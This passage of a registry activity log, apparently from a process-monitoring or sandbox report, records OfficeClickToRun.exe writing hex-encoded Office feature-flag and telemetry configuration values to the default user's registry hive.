3a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e466f726365456e67696e6553657475704f6e4247546872656164222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e4f7074696d697a65526f616d696e6753657474696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e547275737442617244656c6179466f726d6174222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e556e666f726d6174746564427573426172222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e48656c702e496e636c756465436f6d6d616e6454797065222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e4144414c5468726f74746c696e67456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e41766f696453656e64696e675368617265506f696e7448656164657273546f5075626c6963456e64706f696e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e4368616e6765476174652e4f6e6c7950657273697374536368656d65466f7253657276657255726c73222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e456e61626c6557616d54656c656d65747279426c6f62222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e456e7375726550726f66696c65466f725072696d6172794964656e746974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e49676e6f726544697361626c654144414c61746f7057414d4f76657272696465466f725075726557414d222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e53706f41757468436f6e74657874456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e5573654964656e7469747943726564656e7469616c734661696c757265496e666f222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d69 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|5" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.11 = 2032207d2c205c225265616443616368655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22517569636b56616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c6f61644c6963656e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246756c6c56616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c6f61644c6963656e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f706572746965735c22203a207b205c224576656e74735c22203a207b205c224765744c6963656e736543617465676f72795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546f6b656e697a654c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174654c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224272616e64696e675c22203a207b205c224576656e74735c22203a207b205c2247657441707056616c75655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657450726f6475637456616c75655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253686f756c645573654d6963726f736f66743336354272616e64696e675c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2254656e616e745c22203a207b205c224576656e74735c22203a207b205c22496e697454656e616e7449645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224e756c5c22203a207b205c225375624e616d657370616365735c22203a207b205c22466574636865725c22203a207b205c224576656e74735c22203a207b205c224765744e756c4f626a656374466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246657463684d6f64656c46726f6d4f6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224765744c6963656e73654665617475726573466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243726561746552657175657374426f64795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d6f64656c5c22203a207b205c224576656e74735c22203a207b205c224765744c6963656e736543617465676f72795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22476574416c6c4c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446573657269616c697a655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225061727365526177526573706f6e73655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243616e52756e46656174757265526573756c74735c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224d6f64655c22203a207b205c224576656e74735c22203a207b205c224765744d6f64655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224170695c22203a207b205c224576656e74735c22203a207b205c22437265617465526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253656e64526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656365697665526573706f6e73655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2253746f726167655c22203a207b205c224576656e74735c22203a207b205c2247657453746f72616765506174685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d6f64656c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22476574556e766572696669656453746f72616765506174685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d6f64656c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656e616d6546696c65546f55736555706461746564486173685c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2256616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c22517569636b56616c69646174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2256616c696461746f725c22203a207b205c224576656e74735c22203a207b205c224d61746368696e67486172776172656449645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c22466c6f77735c22203a207b205c224576656e74735c22203a207b205c22536561726368466f72534341546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4d6f786965222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74466c61675c22203a203438383936207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4f6666696365222c20225622203a20227374643a3a77737472696e677c7b205c224c6f636b65645c22203a2066616c73652c205c225375624e616d657370616365735c22203a207b205c224e61747572616c4c616e67756167655c22203a207b205c224c6f636b65645c22203a2066616c73652c205c225375624e616d657370616365735c22203a207b205c224372697469717565735c22203a207b205c224c6f636b65645c22203a2066616c73652c205c224576656e74735c22203a207b205c2250726f636573734175676c6f6f704372697469717565735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f636573734175676c6f6f7041646443726974697175655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4f75746c6f6f6b222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224465736b746f705c22203a207b205c225375624e616d657370616365735c22203a207b205c2253796e635c22203a207b205c224576656e74735c22203a207b205c2253796e6350757267654f66666c696e654974656d735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2256696577735c22203a207b205c224576656e74735c22203a207b205c224872566965774c6f6164436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22566965774d6f64655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e506572736f6e616c697a6174696f6e222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2246696c65496e736967687443616368654d616e616765725c22203a207b205c224576656e74735c22203a207b205c2250757267654578706972656443616368655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225369676e616c50726f636573736f725c22203a207b205c224576656e74735c22203a207b205c2253656e645369676e616c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e50726f6772616d6d6162696c697479222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2254656c656d657472795c22203a207b205c224576656e74735c22203a207b205c22446e61416464496e4c6f6164586c6c46696c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446e61416464496e4c6f616445787465726e616c446c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446e61416464496e4c6f6164446e6146696c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e43726173685c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22416464696e735c22203a207b205c224576656e74735c22203a207b205c22417070416464496e4c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070416464496e55736167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e446f634c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7465726e616c536574436f6e6e6563745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5365637572697479222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436c70547279557067726164654c6162656c4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c22436c705c22203a207b205c224576656e74735c22203a207b205c224c6162656c55736167655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f7574636f6d6555736167655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f66666963654a534765744c6162656c44657461696c735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22436c70506f6c696379466574636843616c6c4261636b537563636573735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224d616e6461746f72794c6162656c6c696e674469616c6f675c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c4765744c6162656c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c5365744c6162656c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c506f6c696379436f6d706c657465496e697469616c697a655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253656c6563744a757374696669636174696f6e4f7074696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253656e7369746976697479466c796f7574416e63686f72547261636b416e645265766f6b65427574746f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225265676973746572446f63756d656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2246657463684c6162656c7346726f6d5365727665725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657444656661756c744c6162656c49445c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744c6162656c735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744f7574636f6d6573466f724c6162656c4368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f6e506f6c6963794d617463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f6e5265706c79466f72776172645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f70656e48656c7065725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f506f6c6963794d617463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f4c6162656c416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f46696c65416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6162656c696e67457870657269656e63655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224164644c6162656c4f627365727665725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656d6f76654c6162656c4f627365727665725c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22436c705c22203a207b205c224576656e74735c22203a207b205c22446b6550726f746563746564436f6e74656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d2c205c224d6163726f5c22203a207b205c224576656e74735c22203a207b205c22426c6f636b4d6163726f46726f6d496e7465726e6574506f6c69637953657474696e675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22456e636f756e74657265645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22456e61626c65645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2246696c65426c6f636b5c22203a207b205c224576656e74735c22203a207b205c2246696c65426c6f636b496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224f43585c22203a207b205c224576656e74735c22203a207b205c2254727573746564456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224e6f6e54727573746564456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22416363657373456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22426c6f636b6564657874656e73696f6e735c22203a207b205c224576656e74735c22203a207b205c2246696c65457874656e73696f6e4c69737446726f6d536572766963655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22536563757265526561646572486f73745c22203a207b205c224576656e74735c22203a207b205c224f70656e496e4f53525c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54617267657465644d6573736167696e67222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224275736261725468656d6553656c656374696f6e5374617475735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54656c656d65747279222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436c69656e7453616d706c696e674f76657272696464656e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253797374656d4865616c74684d657461646174614e6574776f726b436f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224576656e7451756172616e74696e65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164586d6c52756c65735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f6365737349646c6551756575654a6f625c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22466c7573684576656e744275666665725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2254656c656d6574727953656e74696e656c56616c75655c22203a207b205c224576656e74466c61675c22203a2030207d207d2c205c224c6f636b65645c22203a2066616c7365207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54656c6c4d65222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2254656c6c4d655741435c22203a207b205c224576656e74735c22203a207b205c225175657279526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54657874222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c225265736f75726365436c69656e745c22203a207b205c224576656e74735c22203a207b205c22446573657269616c697a655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656164466f6e74456c656d656e74735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2250757267654d756c7469706c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526561645265736f757263654d657461446174615c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2257726974655265736f757263654d657461446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\Common\ClientTelemetry\Volatile C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.3 = 63726f736f66742e4f66666963652e4964656e746974792e55736553706f436f6f6b696546726f6d53616d6554656e616e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e44617465546f5573654d6963726f736f6674333635466f72436f6e73756d657273222c20225622203a20227374643a3a77737472696e677c323032302d30342d32315430303a30303a30302e302b30303a303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e44617465546f5573654d6963726f736f6674333635466f72534d42222c20225622203a20227374643a3a77737472696e677c323032302d30342d32315430303a30303a30302e302b30303a303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e456e61626c6547726163655769746857414350726f6d6f427573426172222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e456e61626c654d6f6465726e41464f222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e486561727462656174446179734265666f726545787044617465222c20225622203a2022696e7433325f747c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e4e6f456e7469746c656d656e747353656c6653657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e4e6f456e7469746c656d656e74735472794275794578706572696d656e7454726561746d656e74222c20225622203a2022696e7433325f747c3222207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e53686f77564e6578745369676e4f75744469616c6f67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e5573655265666163746f726564436f6e666967446570726f766973696f6e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e5573655265666163746f726564476574557365724c6963656e7365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e436c6f7564506f6c6963792e4e6f6e5075626c6963436c6f7564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e54656e616e744173736f63696174696f6e4b65792e4e6f6e5075626c6963436c6f7564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e5573654f637073563255726c496e57696e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4e616e63794f66666963655465616d2e7a686574616e34313232303231222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e416c6c6f7741626f7274517569636b436865636b45777353657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e416c6c6f7741626f7274517569636b436865636b4f6d657853657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e496e766f6b6546657463684d616e696665737443616c6c6261636b4f6e446f776e6c6f61644d616e6966657374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e557365436c6f6e6564496e7374616e6365466f724572726f72222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e56616c6964617465446f776e6c6f61645265736f7572636573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4469616c6f6754776f5761794d6573736167696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e456e61626c654d696e43616368655265667265736820222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4964656e746974794361636865466f72636552656672657368222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4f7366496e7374616c6c6572526567697374657242675461736b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e506572557365724964656e746974794d696e4361636865222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e506572557365724964656e74697479526962626f6e4361636865222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e5765624b69743246756c6c4469616c6f67415049222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f4d45582e456e61626c65456e7465727072697365436f6d416464696e536574436f6e6e656374496e7465726e616c5570646174654576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f4d45582e456e61626c65456e7465727072697365436f6d416464696e556e68616e646c6564457863657074696f6e4576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6172742e456e61626c65496e736572744d6564696154656c656d65747279222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e4170706c652e43576f726b73706163655573657255736555726c46726f6d526177556e69636f6465537472696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e4368616e6765476174652e53686f77494150456e747279222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e44656570426174636853746f7265456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e52656e6465725570646174656457696e333252656458222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e53686f756c645573654e6574436f7374496e73746561644f664d736f426c6f636b696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e4c6173744d696c6554656c656d6574727954726163657274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e417474656d70744f75746c6f6f6b41757468466f7250726f66696c65222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e427567466978466f7255736572486561646572496e4964656e7469747941757468222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e4c696e6b6564496e4b32466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e5063784a756e65323031394275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33363134383230222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33393039323635222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33393435323833222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5043582e526970636f72642e56534f2e33363432383036222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572666f726d616e63652e426c6f636b696e6757616974732e4f737250726f63657373222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572666f726d616e63652e4368616e6765476174652e586c426f6f74436f6d706c657465416674657246696c654f70656e416e6453706c61736853637265656e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e456e61626c65476574496e736967687473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e456e61626c6553656e645369676e616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e47657455736572466163747354696d656f75744d696c6c697365636f6e6473222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e557365476574496e736967687473466c6f77466f724665746368696e67476f7665726e616e636544617461222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e436865636b56696577496e536c6964654a616e69746f724f62736572766572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e466f726365536f6674776172654d696e69617475726552656e646572696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e4d657267652e5573655468726f77696e674c69666567756172645374657073222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e536c69646553686f772e52656c65617365536c69646553686f774d616e616765724265666f726547667853687574646f776e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e48616e646c65434c524372617368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e53756767657374696f6e732e456e61626c65436f6e74656e745265636f6d6d656e646174696f6e4974656d73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443325253657276657232303133436f6e6e656374696f6e426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443656e74656e6e69616c53657276657232303133426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443656e74656e6e69616c53657276657232303133436f6e6e656374696f6e426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e434c502e5570646174655374617475734261724f6e50726f66696c65537769746368222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e43656e7472616c697a6564457874656e73696f6e536166657479436865636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e49524d2e5758505644697361626c654c6f616454656d706c617465734f6e426f6f74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e4973457874656e73696f6e496e4c697374557064617465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e4d6f6e69746f72656446696c65457874656e73696f6e4c697374222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e50726f74656374696f6e536572766963652e4e657755784d6f64656c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e53686f756c6452756e436c6f75645365637572697479506f6c696379436865636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e5573654e6f526566436f756e74416d736953747265616d222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e436c6f7564222c20225622203a20227374643a3a77737472696e677c5075626c696322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e46617374465445222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4d53495442697a63686174416c6c6f776c697374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4d6f636861222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4f584f416c6c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e50657270657475616c4c6963656e7365222c20225622203a20227374643a3a77737472696e677c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e5365676d656e74222c20225622203a20227374643a3a77737472696e677c4e4f4e4652444322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536567